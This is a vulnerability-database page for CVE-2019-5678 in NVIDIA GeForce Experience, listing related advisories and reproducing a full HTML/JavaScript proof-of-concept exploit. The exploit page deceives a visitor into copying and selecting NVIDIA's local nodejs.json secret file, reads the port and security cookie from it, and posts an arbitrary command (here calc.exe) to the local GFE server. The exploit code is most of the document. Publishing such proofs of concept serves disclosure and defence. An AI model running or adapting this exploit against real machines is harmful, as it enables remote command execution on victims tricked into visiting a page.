Nvidia GeForce Experience Web Helper - Command Injection

🗓️ 03 Jun 2019 00:00:00Reported by Rhino Security LabsType

exploitdb🔗 www.exploit-db.com👁 170 Views

Nvidia GeForce Experience Web Helper Command Injection via Local GFE Serve

Reporter	Title	Published	Views	Family All 15
0day.today	Nvidia GeForce Experience Web Helper - Command Injection Exploit	7 Jun 201900:00	–	zdt
Circl	CVE-2019-5678	3 Jun 201916:23	–	circl
CNVD	NVIDIA GeForce Experience Web Helper Component Input Validation Vulnerability	31 May 201900:00	–	cnvd
CVE	CVE-2019-5678	31 May 201921:12	–	cve
Cvelist	CVE-2019-5678	31 May 201921:12	–	cvelist
EUVD	EUVD-2019-15253	7 Oct 202500:30	–	euvd
exploitpack	Nvidia GeForce Experience Web Helper - Command Injection	3 Jun 201900:00	–	exploitpack
Lenovo	NVIDIA GeForce Experience - May 2019 - Lenovo Support US	10 Jun 201915:17	–	lenovo
Lenovo	NVIDIA GeForce Experience - May 2019 - Lenovo Support US	10 Jun 201915:17	–	lenovo
myhack58	GeForce Experience OS command injection-vulnerability warning-the black bar safety net	10 Jun 201900:00	–	myhack58

<!-- 
POC for CVE‑2019‑5678 Nvidia GeForce Experience OS command injection via a web browser
Author: David Yesland -- Rhino Security Labs
 -->
<html>
   <head>
      <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
   </head>
   <body>
      <script>
         //Send request to local GFE server
          function submitRequest(port,secret)
          {
           var xhr = new XMLHttpRequest();
           xhr.open("POST", "http:\/\/127.0.0.1:"+port+"\/gfeupdate\/autoGFEInstall\/", true);
           xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
           xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
           xhr.setRequestHeader("Content-Type", "text\/html");
          xhr.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
           var body = "\""+document.getElementById("cmd").value+"\"";
          var aBody = new Uint8Array(body.length);
           for (var i = 0; i < aBody.length; i++)
             aBody[i] = body.charCodeAt(i); 
           xhr.send(new Blob([aBody]));
          }
          
          $(document).on('change', '.file-upload-button', function(event) {
          var reader = new FileReader();
          
          reader.onload = function(event) {
          var jsonObj = JSON.parse(event.target.result);
          submitRequest(jsonObj.port,jsonObj.secret);
          }
          
          reader.readAsText(event.target.files[0]);
          });
          
          //Copy text from some text field
          function myFunction() {
          var copyText = document.getElementById("myInput");
          copyText.select();
          document.execCommand("copy");
          
          }
          
          //trigger the copy and file window on ctrl press
          $(document).keydown(function(keyPressed) {
          if (keyPressed.keyCode == 17) {
          myFunction();document.getElementById('file-input').click();
          }
          });
      </script>
      <h2>
         Press CTRL+V+Enter
      </h2>
      <!--Command to run in a hidden input field-->
      <input type="hidden" value="calc.exe" id="cmd" size="55">
      <!--Hidden text box to copy text from-->
      <div style="opacity: 0.0;">
         <input type="text" value="%LOCALAPPDATA%\NVIDIA Corporation\NvNode\nodejs.json"
            id="myInput" size="1">
      </div>
      <!--file input-->
      <input id="file-input" onchange="file_changed(this)" onclick="this.value=null;" accept="application/json" class='file-upload-button' type="file" name="name" style="display: none;" />
   </body>
</html>

03 Jun 2019 00:00Current

7.4High risk

Vulners AI Score7.4

CVSS 24.6

CVSS 37.8

EPSS0.00358